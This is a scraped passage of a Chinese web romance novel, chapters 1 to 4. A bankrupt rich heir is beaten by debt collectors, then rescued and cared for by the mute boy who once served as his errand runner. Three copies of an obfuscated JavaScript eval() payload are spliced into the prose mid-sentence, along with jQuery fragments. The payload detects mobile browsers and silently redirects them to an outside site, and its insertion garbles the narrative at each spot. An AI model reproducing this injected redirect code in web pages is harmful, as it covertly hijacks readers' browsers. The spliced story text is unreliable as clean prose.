《谁说这哑巴狗腿不好用?》 1. 骄矜美人破产第一天 三伏天。 到了晚上九点钟,空气依旧灌着热浪。 树影纹丝不动。 白日里聒噪的蝉鸣褪去,不知名的虫子又开始在灌木丛中没完没了地叫。 街边烧烤摊喧哗,油烟呛鼻。 不远处临时搭建的充气城堡里,小孩子们蹦来跳去。 还有几乎快要把路堵住的卖菜小贩,摆着音箱高声唱着年代久远歌曲的大爷大妈…… 应浔望一眼眼前的景象,无论过了多少时日,还是没办法适应这里的生活。 他压了压帽檐,穿过这片市井喧嚣。 这个时候不是白天,灼烈日光早已隐去,生活在这片老城区的也没有人认识他,他却将帽子压得很低,遮住大半张脸,穿过街道的步伐也不由得加快。 等拐过一条小巷,那些嘈杂声淡去,应浔在一处低矮老旧的房子前停下。 月色清皎,天空漏了几颗星星,一闪一闪地挂在巷子上空杂乱的天线上,他摸出钥匙去开房门。 房子老旧,门锁也跟生了锈一般,每次都要七拧八拧才能拧开。 应浔正打算明天和房东商量换把门锁,几道高大的身影不知什么时候从身后罩了过来。 他拧门锁的动作顿了顿,转过身。 不出意外,是这段时间一直跟在身后追债的那几个人。 应浔倒也没慌,只不紧不慢抬起头,露出被帽檐半遮下一张昳丽至极的脸。 因为家里的变故,白皙下巴尖瘦了一圈,微微上挑的凤眼也半耷着,透了丝恹色和疲倦。 即便如此,他就像是一朵漂亮夺目的玫瑰,遭遇风雨摧凌,仍惊心动魄地好看。 眼下被这群追债的人大晚上找上门,应浔刚从医院回来,心情不佳,没了前几次的耐心,开口冷冰冰的:“我说过,我不知道我爸在哪里,你们问我多少次我都是这句话。” “是吗?”光着头,从脖子到两只手臂都纹满纹身的追债人笑了笑,“你是应城山最宝贝的儿子,他老婆如今躺在病床上昏迷不醒,我就不信他的心是石头做的,过去这么长时间,放着你们母子不管,一次都不联系你。” 应浔听到这句话,不自觉攥紧钥匙。 锋利的锯齿掐进手心,他却觉察不到疼似的,昳丽漂亮的脸也一瞬间变得苍白。 一个月前,应浔遭遇了人生中最至暗的时刻。 从小娇生惯养,金尊玉贵长大的小少爷,在满心筹划着用爸爸许诺送他的游艇和朋友们一起开自己19岁的海上生日派对时,突闻噩耗。 家里公司破产,一向疼爱他和妈妈的父亲被曝出外面养了小三和私生子。 这个消息还是应浔在他的富二代小团体群里看到的,他当时只以为是哪个不长眼的家伙搞出来的恶作剧。 谁不知道,靠白手创下一番基业的实干企业家应总有多疼爱老婆和孩子,每一次采访,半句不离家庭。 外出携妻子出席宴会时,言谈举止间充满了对一路陪伴自己走过来的妻子宠溺和呵护,孩子奴的绰号更是在生意场上人尽皆知。 要说在外人面前作秀,不可能有人一演就是这么多年,因为在家里,父亲也是这样对他们的。 所以从小到大,应浔从来没有怀疑过父亲对自己的爱,他总是想要什么有什么,脾气因此被宠得骄纵,他的妈妈也是贵妇圈里人人羡慕的富太太。 然而直到父亲的电话怎么也打不通,许许多多的追债人来家里讨债,紧接着法院的工作人员来他们家查封房子,应浔才终于肯接受这个事实。 他眼睁睁地看着那些陌生人进进出出他的家,原来别墅里所有值钱的东西都被父亲拿去作了抵押。 就连保险柜里的贵重物品和妈妈一些珍贵的首饰,都不知什么时候被掏空了。 甚至应浔十七岁生日时,父亲送给他的百达翡丽手表也被拿走,只在抽屉里留下一张字条——[对不起宝宝,爸爸先借你的东西周转一下资金,以后一定还回来,给宝宝买更贵重的礼物,还有游艇,当爸爸欠你的。] 那是应浔收到的有关父亲的最后一条消息,从那以后,应城山彷如人间蒸发,哪里都找不到他。 妈妈身体本就虚弱,比起破产,爱人的背叛对她打击更大。 再加上怎么也联系不上父亲,多重打击下,她昏倒在地,在医院ICU抢救了很久,脱离生命危险,却到现在都没有醒来。 这段时间,应浔往来奔波。 从小被捧在手心长大的娇贵少爷,在马上要迎来自己十九岁生日的这个夏天,不得不承担起家里一地鸡毛的重担。 偏偏关键时刻,他那些富二代小团体的朋友没一个帮得上忙,在自己急需用钱的时候,全都支支吾吾。 没办法,应浔只好变卖了自己所有能卖的东西。 名贵的衣服,包包,收藏了许多年的Bearbrick和限量版变形金刚手办,给母亲筹重症手术费和住院费。 还从大别墅搬到了在他看来和贫民窟没什么区别的老城区破小。 一夜之间,富家少爷跌落云端。 应浔掐紧手心,苍白的脸上愈发没有血色。 许久,他挑起眼梢,冷笑了声:“还真让你说对了,应城山是个冷血的人,他都出轨养小三和私生子,把家里掏空了,怎么会管我们母子死活。” “很晚了。”应浔把钥匙插进孔洞,拧开房门,“我要睡觉了,你们请回吧,以后别再来找我,我真不知道应城山在哪里。” “你觉得这样就能打发我们?”肩膀被一道大力按住,光头纹身的男人扔掉手里的烟头,目露凶光地欺身上前。 应浔讨厌烟味,轻轻蹙了蹙眉:“你们想怎么样?” “父债子偿,既然找不到应城山,那就由你来还钱。” 应浔嫌恶地甩开对方手掌:“我没有义务帮应城山还债,也没钱。” “没钱就去挣。”光头纹身似乎不打算放过他,上下将他打量一番,“我看你长得不错,是富婆喜欢的类型,去做鸭子应该很受欢迎。” “老大,他这个长相,富哥也喜欢。”身后跟着的一个红毛凑上前,目光下流地在应浔身上逡巡,“你知道男娘吗?像他这样长得这么漂亮的男生……” 砰—— 应浔一拳打过去。 小巷寂静,除了那些喜欢晚上撸串、唱歌、带孩子的夜猫党,这片老城区的住户普遍熄灯比较早。 这里又偏,离喧嚣远,所以应浔这一拳在寂静的小巷听起来格外响亮。 红毛似乎没有反应过来,光头纹身也没想到这矜贵好欺的落魄少爷敢和他们动手。 一群追债人愣了片刻,红毛摸到唇角的血,终于回过神。 “臭屌子,敢打老子,还当自己是有人护着的少爷呢。” 红毛一把揪住应浔的衣领,抬手就要打回去。 应浔娇生惯养,从小到大没受过气,他脾气骄纵,受不得一丝委屈,在红毛的拳头挥过来前,自己率先踹了他一脚,正踢中命根子。 红毛立刻疼得嗷嗷叫,捂着裆蹦出几步远。 其他人看到这一幕,面面相觑。 光头纹身再次点了根烟,咬进嘴里:“既然软的不吃,那就只能来硬的。” 一行人今天无论如何都要给应家这小子一点教训,都落魄成这样了,还摆着张看人像看狗一样的高贵臭脸。 应浔这段时间也憋着一口气,正想找个出口宣泄。 一群人就这样扭打成了一团。 应浔没打过架,众心捧月的少爷身边总是跟着一群跟班,从来没有人能碰到他一根手指,很多事情也不需要他亲力亲为。 但现在,那些跟班都不在了。 树倒猢狲散。 他变成了一个人。 双拳难敌众手,这些人又是专业收债的,应浔肚子挨了一拳,很快就蜷在了地上。 盛夏炎热,在太阳下晒了一整天的石砖到现在还残留着热气。 应浔白皙的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480981|185643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸贴着温热的地面,乌发散乱,感受到挨了一拳和这段时间没好好吃过一顿饭的胃开始痉挛。 红毛弯下身,捏住小巧漂亮的下巴,牵扯到裆部,带血的唇角嘶了声。 “还踢老子吗?” 他恶狠狠道。 应浔蜷着身,忍痛,上挑的眼眸流露出轻蔑和不屈。 “哟,还是枝带刺的玫瑰。” 红毛调笑,旁边的人也跟着笑。 “这样也好,调教起来更有意思。” 他说完这句话,就要去薅应浔的头发。 忽然一只易拉罐飞了过来,在空中划过一个完美的弧度,不偏不倚,正砸在红毛的脑门上。 红毛吃痛一声,回过头:“谁,是谁砸老子?” 没多久,他的目光锁定在了一个人影上。 站在巷子口,个子很高,和两侧房屋投下的阴影融为一体,看不出年龄,正脸逆在月光下也看不清。 寂静偏僻的巷子里突然出现一个陌生人,还用易拉罐砸自己,红毛不爽,问对方是谁。 月光下的黑影却不发一言,只迈着长腿一步一步逼近。 等他走近,被昏暗的光线撩开身上的阴影,包括红毛在内的其他催债人看清这张陌生的脸。 很年轻,看白衣黑裤的穿着应该是附近哪所学校的学生,十八九岁的样子。 男生有着一副会受学校女孩追捧的校草级帅气的好皮相,脸上青涩未褪干净,周身气场却阴戾冷鸷。 尤其是一双无机质的黑眸看过来,让人觉得像是被无尽的深潭吸住,又仿佛被一条从幽邃潮湿的洞穴爬出来的毒蛇盯上。 三伏的天气,到处都是被高温炙烤过的气息。 红毛这群人是十几岁就出来混社会的,不知道为什么会在这一刻生出一种寒天冻地,脊背发凉的感觉。 他清了清嗓子,凶狠警告:“不管你是谁,劝你不要多管闲事。” 下一秒,被一拳砸在脸上。 是和刚才应家那小子带着香气的花拳完全不同的力道,千钧一般。 红毛感觉自己面部的肌肉变了形,口腔里血腥味迅速扩散,牙齿也好似松动了一颗。 他有些懵,颤颤巍巍站起身,望向莫名其妙揍他的人。 “你——” 话未说出口,又是狠戾一拳。 其他人见情况不对,连忙上去帮忙。 光头纹身作为他们的老大,踩了踩烟头,也抡过去胳膊。 然而他们低估了眼前这个陌生少年的战斗力,四五个五大三粗混社会的大老爷们儿,竟然不是这个年轻人的对手,没多久就落了下风,一个个被打得灰头土脸,鼻青脸肿。 偏偏无论怎么挑衅,对方都不答话,问他是谁也紧抿薄唇,不发一言。 只沉默着一个劲儿地打他们,下手狠辣,疯狗一样。 这群人没遇到过这样的疯子,不知道从哪里来的,和应家这位落魄少爷是什么关系。 他们也是拿钱办事,不想搭进去自己,冲应浔撂下几句狠话就狼狈地跑开了。 应浔蜷在地上,听那些慌乱杂沓的脚步声远去,小巷重归于宁静。 随后,他看到一个高大的身影走过来,蹲到自己面前。 应浔吃力地抬眸,望向这个人影。 面上狠戾消散,一双无机质的黑眸被担忧的神色填满,和刚才不发一语,只下重手狠狠揍人的男生判若两人。 起了淡淡的风,空气不再那么闷热。 一缕雾纱似的薄云飘来,遮住了夜空中那轮皎月,巷子里的光线因此变得昏暗。 应浔额头渗出细细密密的汗珠,脸色苍白成了薄纸,视线也因为胃部的疼痛变得有些模糊。 可即便如此,他还是在昏暗的光线下认出了眼前这张轮廓模糊的脸。 三年前不告而别,应浔以为再也不会见到的。 那个给他当了很多年狗腿,随叫随到,言听计从的…… 小哑巴。 2. 骄矜美人破产第二天 小哑巴叫周祁桉,是曾经在应浔家里做过工的保姆的儿子。 十一岁那年,应浔家里新来了个保姆。 那时候妈妈刚流产,身体虚弱,心情也低落,一直照顾他们的住家阿姨家里有事回了乡下,爸爸便决定给家里重新找一个保姆照顾妈妈。 招聘信息发出没多久,就来了个阿姨应聘。 巧的是,就是这位周阿姨在妈妈外出被人撞倒,陷入流产危险时,第一时间把妈妈送进了医院。 重逢救命恩人,应浔一家都很高兴感激,妈妈的心情也没有那么低落了,直接留下了周阿姨。 听说周阿姨有个只比自己小一岁,年龄相仿,还和自己念同一所学校的儿子,妈妈顾及周阿姨单亲带孩子,住得远,每天来回不方便,就让她把儿子接来家里一起住。 小哑巴就是那个时候来的自己家。 第一次见到小哑巴,应浔对他没什么好印象。 男孩瘦瘦巴巴的,瘫着张巴掌大的面无表情的脸。 穿的衣服土里土气,一双黑漆漆的眼眸无机质般,给人一种强烈的怪异感,不像个十岁的男孩。 还不会说话,是个哑巴。 周阿姨让他打手语叫应浔少爷。 应浔的妈妈笑着说:“叫什么少爷,都是小孩子,不用这么客气生分。” 妈妈让他叫自己浔浔哥哥。 应浔看着眼前干瘦土气,给人的感觉很怪异,还是个哑巴的男孩,怎么也不愿意叫一个保姆的儿子弟弟。 但架不住母亲在外人面前让他有教养,那个小哑巴也伸着手指“浔哥浔哥”地给他比划,应浔便只能由着他了。 接下来,就是五年的同在一个屋檐下的生活。 别说,小哑巴虽然性格古怪,孤僻,一双无机质的漆黑眼眸看人时总是怪怪的,回到家也总是待在保姆房,可是听话,乖巧,懂事,应浔让他做什么就做什么。 在家里,保姆悉心照顾着他们一家,小哑巴写完作业也会帮他的妈妈。 在学校,小哑巴被应浔呼过来唤过去,成了他走到哪里只要喊一声,无论小哑巴在做什么都会屁颠屁颠跑过来的狗腿。 学校的人都知道应浔的身边有个“狗”一样随意使唤,任他差遣的哑巴狗腿。 应浔也渐渐习惯和享受小哑巴的伺候。 小哑巴会给自己背书包,剥橘子会把橘子瓣上的筋络撕得干干净净。 知道他爱吃草莓,但是对草莓表皮上的绒毛过敏,就每次将草莓上的绒毛和黑粒一点点剔除干净,然后喂给自己吃。 帮他做作业,打掩护,背黑锅…… 总之,这个小哑巴狗腿太好用了。 两个人就这样一起长大。 从小学到初中,再到高中。 小哑巴为了方便被自己使唤,还特地跳了一级,和自己一个班。 这样的生活一直持续到高二上学期。 开学不久,还是夏季的尾巴,暑气未消。 应浔他们班上游泳课。 和往常一样,应浔换了衣服就丢给小哑巴,让他给自己叠好放到更衣柜里。 之后,跳进泳池。 那一年,应浔十六岁,模样已经极为出挑惹眼。 他皮肤白,骨骼匀停漂亮,在清亮碧蓝的水池里慵懒游动,像大海里舒展漂亮的美人鱼。 岸上他那群富二代小团体的朋友都一个劲儿地吹捧,极尽赞美之词夸应浔游得好,要是被隔壁的女孩子看到,一定会迷晕过去。 应浔不以为意,早已习惯恭维。 忽然,更衣室那边传来一阵骚动,吵吵嚷嚷,还提到了自己和小哑巴的名字。 应浔被吵得不耐烦,随意擦了擦身上的水珠就去了更衣室。 还没开口询问发生了什么事,就被一个跟班跑到眼前:“浔哥,我就说你的那个哑巴狗不对劲,你知道他刚才干什么了吗?趁你不在,偷偷拿你的衣服闻。” “对,我也看到了,捧着你的衬衫放到鼻子上嗅,好端端的,他干吗要闻男生的衣服,还闻了好长时间,是不是变态?” “都说了让浔哥你离他远一些,不要对他那么好,一个哑巴……” 七一嘴,八一舌。 听得应浔心里十分烦躁。 不知道谁提了一句“同性恋”,喜欢男人的人,性向扭曲。 那时候,应浔还生活在南城,一家人没有搬来现在的京市。 相比于大城市的繁华、包容和开放,同性恋在那时候的南城是一个小众新鲜的词汇。 “怪不得我们每次看A片,他都躲得远远的,原来是个喜欢男人的变态。” “就算喜欢男人,他一个保姆的儿子,还是个哑巴,怎么敢肖想浔哥?” 应浔神色复杂,看向被众人围攻的小哑巴。 缩在更衣柜的角落,颓丧地垂着头,旁边地板上散落着自己刚才换下来的那件白色的校服衬衫。 也是这时,应浔才注意到初次见到的瘦瘦巴巴的男孩蹿出很高的个子,整个身躯团在角落,像一只做了错事不敢看主人的大狗狗。 额角也好似受伤了,蜿蜒下一道浅浅的血痕。 应浔张了张口,想问什么。 游泳课老师在这时回来了,呵斥大家不好好练习,都挤在更衣室做什么。 于是,连应浔自己都不知道要开口问什么的话就这样堵在了嘴边,只扔下一条干净的毛巾,让小哑巴把额头上的血迹擦一擦。 那个下午,周祁桉是个“喜欢偷男生衣服闻的变态”的消息在学校迅速传开了。 当天晚上,应浔家里聚餐,他的姑姑丢了一条金手链,认定是应浔家的保姆拿的。 姑姑性格尖酸刻薄,觉得只有保姆能做出这样的事情。 应浔的妈妈极力解释,周阿姨是个老实本分的人,不会随便拿别人的东西。 这件事最后以姑姑的手链在洗手台旁的垃圾桶里找到告终,姑姑在妈妈的坚持下勉为其难地向周阿姨道了声歉。 第二天,周末,应浔早上醒来,发现屋子里有些空荡。 早餐已经做好了,可是周阿姨和小哑巴都不在。 他问母亲,才得知周阿姨已经辞职,带着小哑巴离开了。 当时是怎样的心情,应浔说不清。 意外,空落,觉得妈妈在和自己说笑。 周阿姨在家里做了这么多年,怎么会突然辞职?是因为昨晚被姑姑误解的事情吗? 还有小哑巴,怎么会不和自己说一声就离开? 应浔觉得一定是哪里搞错了,说不定母子俩只是暂时有事,过不久就会回来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480982|185643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可紧接着周一他去学校,听老师说小哑巴转学了。 应浔有些懵。 立刻给小哑巴发消息。 是属于两个人单独的号码,小哑巴不会说话,两人更多的时候是用应浔给小哑巴买的那台手机沟通,手机号也是应浔给他挑的。 只要给这个号码发信息,小哑巴总是秒回,之后马上就会来见自己。 可现在,发给这个号码的消息如石沉大海。 电话拨过去也没有人接。 应浔于是当天逃课七拐八绕找去小哑巴偏远的家,却被邻居告知这对母子已经搬走了。 下了盛夏之后一场凉凉的雨,入了秋,天空灰蒙蒙的,应浔干净的白鞋踩在自己从来不会踏足的破败地方,溅了一层污泥。 他望着眼前低矮房屋紧闭的木门,从来没有想过有一天,小哑巴会从自己的世界离开。 应浔的心里有一种说不出的空荡和低落,还感到内疚。 觉得是因为游泳课的事情,小哑巴受了委屈,才会转学,等回去学校,一定好好教训那帮碎嘴的家伙。 各种乱七八糟的情绪交织在心头,最后化作一团不知名的怒火。 应浔转身走出小巷,告诉自己。 就当是养的一条狗丢了,丢了就丢了,有什么好留恋的。 可心里还是止不住地空落。 那之后,应浔的父亲生意越做越大,他们一家从南城搬去了京市,进入更广阔的圈层,家里也换了更大的别墅。 应浔认识了新的富二代朋友,也考上了京市一所大学。 渐渐地,当年的事情被时间冲刷,小哑巴也从自己的记忆里淡忘。 应浔以为,那天下午是他们最后的交集,怎么也没想到有一天会在异地城市,一个这么偏僻的小巷再次遇见。 还是在自己如此落魄,如此狼狈的时刻。 小巷又吹来一阵风,遮住皎月的薄云被吹散。 应浔原本想,一定是自己胃疼得出现了幻觉,又或是光线太暗,让他认错了眼前的人。 小哑巴怎么也会来了京市? 尤其是三年未见,男生面部轮廓变得成熟凌厉,气场也和以前不太一样。 可应浔就是能确定他是小哑巴,是周祁桉。 [浔哥,你还好吗?] 在应浔疼得快要失去理智,却还坚持保留最后一丝力气打算假装没认出小哑巴,随便将他糊弄走时,眼前的男生伸手做了个关怀的手语。 朝夕相处了五年,应家的人多多少少能看懂一些小哑巴比的手势。 应浔更不用说。 他感觉自己的胃又痉挛了下。 没有哪个男生会这样比着手语叫自己,会用手语叫浔哥的哑巴,只有周祁桉。 应浔很不想和曾经被自己呼来唤去当狗一样使唤的狗腿相认,更不想被看到这么狼狈难堪的一面。 他强撑着站起身,从唇缝中艰难地挤出几个字:“你认错人了。” [你也懂手语吗?怎么知道我刚才说的是什么?] 应浔:“……” 应浔转身,打开自己租的小破屋子的房门:“哦,原来你不会说话?我刚才胡乱猜的,谢谢你替我解围,有机会我报答……” 眼前一黑,应浔晕倒在了一个结实的怀抱。 3. 骄矜美人破产第三天 “是长期饮食不规律加外部刺激引发的胃痉挛,没什么大问题,好好调养一段时间就好了。” 诊所里,急诊医生挂上点滴,告知病人的病情和注意事项就离开了病房。 周祁桉坐到床前,望着躺在病床上面色苍白的人,总是张扬惹眼的一张脸,第一次显露出了脆弱的神色。 那双看人时微微上挑,带点骄矜和高傲的漂亮得不像话的眼睛也紧闭着,浓密羽睫不安轻颤,失去血色的唇瓣时不时溢出模糊呓语。 周祁桉心脏发紧发疼,后悔自己来晚了。 他应该更早些时候找到浔少爷的。 他深深注视着这张三年未见的脸。 窗外虫鸣喧嚣,夜风轻拂,撩动诊所的窗纱,挟来一阵淡淡的草木清香。 周祁桉就这样一直守在病床边,漆黑眼眸一错不错,仿佛一个眨眼,他矜贵的少爷就会再次遭到什么意外。 所以第二天早上,等应浔被明亮的太阳光线刺痛眼睛,悠悠转醒,就看到撑着眼皮守在自己床边的小哑巴。 有那么一瞬,应浔没觉得这样的画面有什么不对。 许多个午后,他趴在课桌上睡觉,睁开眼,看到的就是小哑巴在自己身边紧赶慢赶地帮自己写作业。 或是拿着蓝胖子的小电风扇给自己吹风,又或是捧了杯奶茶,将里面的冰块捂化,等自己睡醒喝。 应浔不喜欢喝太冷或太热的东西。 不过马上,两张面孔重叠。 脱离三年前的青涩和稚气,应浔认出这是三年后的周祁桉,他一点也不想在这个时候看到的周祁桉。 也通过周围的环境和鼻间充斥的消毒水的味道,意识到昨晚发生了什么,他现在在什么地方。 应浔迅速从病床上坐起。 起得太猛,牵动虚弱的胃部,一阵不适传来,大脑也有些晕眩。 [浔哥,医生让你好好休息,你快躺下,想做什么让我来。] 小哑巴看到应浔捂着肚子,慌忙站起身,近距离看更显高大的身躯迅速遮住了应浔眼前的光线。 应浔望了眼他目测有一米九加的身高,愣了愣。 小哑巴什么时候长得这么高了? 尽管三年前在更衣室,应浔就无意间发现小哑巴不知不觉间蹿出了很高的个头,可此时看他遮住自己面前一大片光,还是觉得有些恍然。 周祁桉拿起枕头垫在应浔身后,动作轻缓,小心翼翼地扶他重新躺下,另一只手把病床摇高一些,体贴入微地帮应浔调整了一个舒适的角度。 小哑巴个头高,手臂不知什么时候也长得结实。 刚才扶应浔躺下的时候,应浔被他有力的臂膀箍着,白色袖管露出的小臂修长结实,肌肉绷起,布满粗茧的掌心很烫,无意间硌到腰间让他浑身一个激灵。 应浔记起昨晚晕倒前也好像是被这双臂膀托住,紧接着脸颊撞上硬邦邦的东西。 他没去想自己后来是怎么被小哑巴送进医院的,只觉得当前陌生又熟悉的场景有些怪异。 出于别扭的自尊心,还有当年一股莫名其妙的怨气,应浔说了声谢谢后就偏过头,不去看小哑巴,不承认也不否认自己是小哑巴眼中的“浔哥”。 而似是看出了他的心思,小哑巴也没再比划什么,更没有问他发生了什么事,为什么会从曾经高高在上,颐指气使使唤人的少爷,沦为如今这么狼狈的地步。 病房沉默着,应浔只余光瞥见小哑巴拿着手机戳戳戳。 没多久,外卖员送来一份南瓜粥和鸡汤馄饨。 “对不起,店里太忙,不小心拿错订单了,馄饨里加了葱花,不知道馄饨的个数是不是偶数个,您要是不着急,我回去帮你重新打包一份。” 外卖小哥十分抱歉,同时感到奇怪。 不吃葱花和香菜的顾客他见得多了,还是第一次见要求下锅煮的馄饨是偶数个的,可以少,但一定不能是奇数个。 周祁桉接过外卖,摇摇头,示意不用重新打包。 他等外卖员离开后打开包装盒,撕开筷子,将鸡汤馄饨里的葱花一粒一粒地挑出来,轻轻拨弄汤汁,确认馄饨的个数是十二个。 应浔很想假装听不见看不见,可外卖小哥刚才说话的声音太大了。 还有小哑巴,敢不敢挑葱花的动作再细致一点? 为什么三年过去,这么久没见,自己有偶数强迫症的习惯还是被小哑巴记得这么清楚? 应浔心里那种陌生又熟悉的怪异感再度涌上心头。 他张了张口:“谢——” [浔哥,先吃早饭吧。] 小哑巴将病床上的餐桌放下,把吹得不那么烫的粥和馄饨摆到应浔面前。 [医生说你的胃需要调理,再不注意要犯胃病。] 应浔的话堵在口中,看了眼挑得干干净净,没有一粒葱花的馄饨,又望了望小哑巴期待的眼睛,沉默着拿起勺子吃起了早饭。 吃完,胃的确舒服了不少。 这段时间家里变故太大,妈妈又躺在病床上昏迷不醒,应浔常常顾不上吃饭。 他口味挑,吃东西讲究,又有很多奇奇怪怪的小习惯,没有家里保姆按照他的习性做合乎他口味的饭菜,应浔有时候就干脆不吃了。 反正也没什么心情,吃不下。 今天的南瓜粥不知道是小哑巴挑的哪家店,熬得软浓香郁,又不过分甜腻。 馄饨里的鸡汤鲜美,肉质鲜嫩,很有家里自己做的味道。 偶数个也…… 应浔垂了垂眼,不想承认这是自己这段时间吃的最称心的一顿饭。 他盯着病床上的小饭桌发了一会儿呆。 过了片刻,拿出手机:“昨晚的医药费还有刚才的饭钱加起来是多少,我转给你。” [浔哥,不用不用。]小哑巴摆手。 应浔瞥了他一眼:“还是转吧,我不习惯欠别人人情。” 小哑巴听到“别人”二字,眼眸有一瞬灰暗。 但很快,点开微信:[那我加浔哥的联系方式。] 应浔:“收款码给我就可以了。” 他没忘记当年给小哑巴发消息石沉大海,打电话不接,专属于两个人的手机号被注销,所有的通讯方式也被删除。 周祁桉漆黑的眼眸再次落了层灰败,有些丧气似的,可还是听从浔哥的话,打开收款码。 “叮”一声。 应浔把钱转了过去,多打了两百:“就当昨晚你帮我解围我请你吃饭的钱。” 周祁桉:“……” 周祁桉默默把钱收下,收拾起小饭桌上的外卖盒。 应浔稍微缓了一缓,觉得身体没什么不适就决定离开诊所了。 妈妈还在医院的病床上躺着,应浔每天都要去医院看望妈妈,了解她的身体状况。还有,能卖的东西都卖完了,他要尽快找到一份兼职挣钱。 走出诊所,天空中又挂着很大的太阳。 热气升腾,日光明晃晃的,刺得人心情烦躁,应浔开始讨厌夏天。 他叫了一辆出租车,打算直接去医院。 手腕被捉住。 应浔转头。 是小哑巴。 小哑巴粗粝的掌心圈住应浔的手腕。 因为以前经常帮着周阿姨干活,小哑巴的手很早的时候就起了茧子,和同龄人,尤其是娇生惯养的应浔那双白皙滑嫩的手相比,显得十分粗糙。 而且分别的这三年,不知道小哑巴做了什么,手上的茧更粗更厚。 指骨宽大,掌心还有很多刻痕,一道丑陋的伤疤蜿蜒在抓住自己手腕的那只手的虎口上,看得人触目惊心。 应浔心口一跳。 视线在这道疤痕上停留了几秒,拧了拧眉。 而像是察觉到某种不妥一般,小哑巴慌忙松开手,粗粝掌心残留着温软细滑的触感,让他不由得有些留恋。 周祁桉抑下心里某种冲动,比划着手语,眼眸关切:[浔哥,你要去哪?你身体还不舒服,最好回家好好修养。] 应浔面无表情看了他一眼:“我自己的情况自己有数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480983|185643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “还有,”他顿了片刻,漂亮的眉头拧得更深,“昨晚和今天的事情我很感激你,但就这样了,当我们没有见过,以后也不要再见。” 说完,拉开停在自己面前出租车的门,留给小哑巴一个很冷硬的背影。 周祁桉望着远离的车辆,漆黑眼眸垂敛,脸上露出落寞的神色。 应浔让司机把车直接开到浦恒医院。 一路上,心情都有些烦躁。 他把这归结为三伏天快要把人晒得化掉的酷暑天气,还有路边树上聒噪的蝉鸣。 到了医院,医院冷气开得很足。 应浔心里那丝燥意才好似被驱散一些。 可从主治医生那里得知妈妈还是不能确定什么时候醒来,他的心情又被沉沉的低落和难过灌满。 在妈妈的病床前守了很长时间,应浔被护工阿姨叫出门。 面容和善,这段期间尽心尽力照看着妈妈的阿姨很久踌躇着开口:“浔少爷,到一个月的时间了,应太太的护工费您看是不是要帮我结一下。” 这段时间发生的事情太多,昨晚又被追债的人找上门,应浔差点忘了这件事。 他向护工阿姨说了声抱歉,把12000的看护费打给了护工阿姨。 往常这笔钱对应浔来说根本算不上什么,连去高档餐厅吃饭给人小费都拿不出手。 可经历过父亲把家里掏空,身边的朋友一个指望不上,他变卖了自己所有能卖的东西才勉强凑够妈妈的手术费和住院费,生活捉襟见肘,曾经挥霍无度,根本没有金钱概念的少爷现在每从手机支付出一笔钱,都感到肉疼。 刚才不应该打出租车的,他现在学会了坐地铁和公交,尽管人挤人,密闭的空间里味道也一言难尽,每次下车,应浔都感觉自己被挤成了肉饼。 衣服上也沾染了难闻的味道。 可是便宜,地铁最远的路程也才8块钱。 公交更便宜,两块,他是大学生,办了一卡通学生卡,二点五折的公交费超级优惠。 但刚才小哑巴一直跟着自己,应浔只能硬着头皮打出租车甩开他。 被曾经呼来唤去的狗腿看到以前每次出行最低也是劳斯莱斯配置的少爷乘2.5折的公交,应浔实在不知道自己的脸要往哪里搁。 对了,给小哑巴额外转的那200块钱解围费是不是也给多了? 小哑巴物欲低,看不出什么喜好,随便什么东西都能吃,他刚才不应该给他转那么多钱的。 ……想到小哑巴,应浔的心里涌出又一种复杂的情绪。 怎么会再见到他? 还是在自己最狼狈落魄的时候。 应浔抬眼望向明晃晃的阳光,眼前浮现出小哑巴那双漆黑的无机质的眼眸,关切地望着自己。 真烦,为什么偏偏是他。 所有人中,应浔最不愿意让人看到自己狼狈一面的就是这个曾经被自己欺负来使唤去的小哑巴。 当年分别前的场面也有些不堪。 小哑巴被传是喜欢偷男生衣服闻的变态,还有周阿姨……被自己的姑姑冤枉拿了她的金手链,尽管最后手链找到了,场面依旧闹得不愉快。 应浔耷拉起眼睑,心情在这个绚烂热烈的夏天,仿佛沉到了寒冬最深的海底。 还好他刚才说了不要再见,这么大的城市,偶遇一个人的概率那么小,很多人一辈子都不会擦身而过。 昨晚一定是巧合。 他不会再见到周祁桉了。 应浔戴上口罩,刷了公交车卡,思绪纷乱地往回走。 车弯弯绕绕地驶向远离城区的地方,应浔穿过昨晚那条拥挤的街道,拐进小巷。 远远地,看见自己的小破出租屋的墙面上被人泼了油漆,房门和老旧的玻璃窗被砸破了。 他连忙赶回去,发现屋子里也被砸得破烂不堪。 房东正插着手臂站在客厅中央骂骂咧咧,看到自己回来,仿佛等了很久似的,生气地摆手:“你回来的正好,把房子退了,我不租你了。” 4. 骄矜美人破产第四天 看到屋子被破坏成这样的第一眼,应浔就有预感。 房东那边一定不好交代。 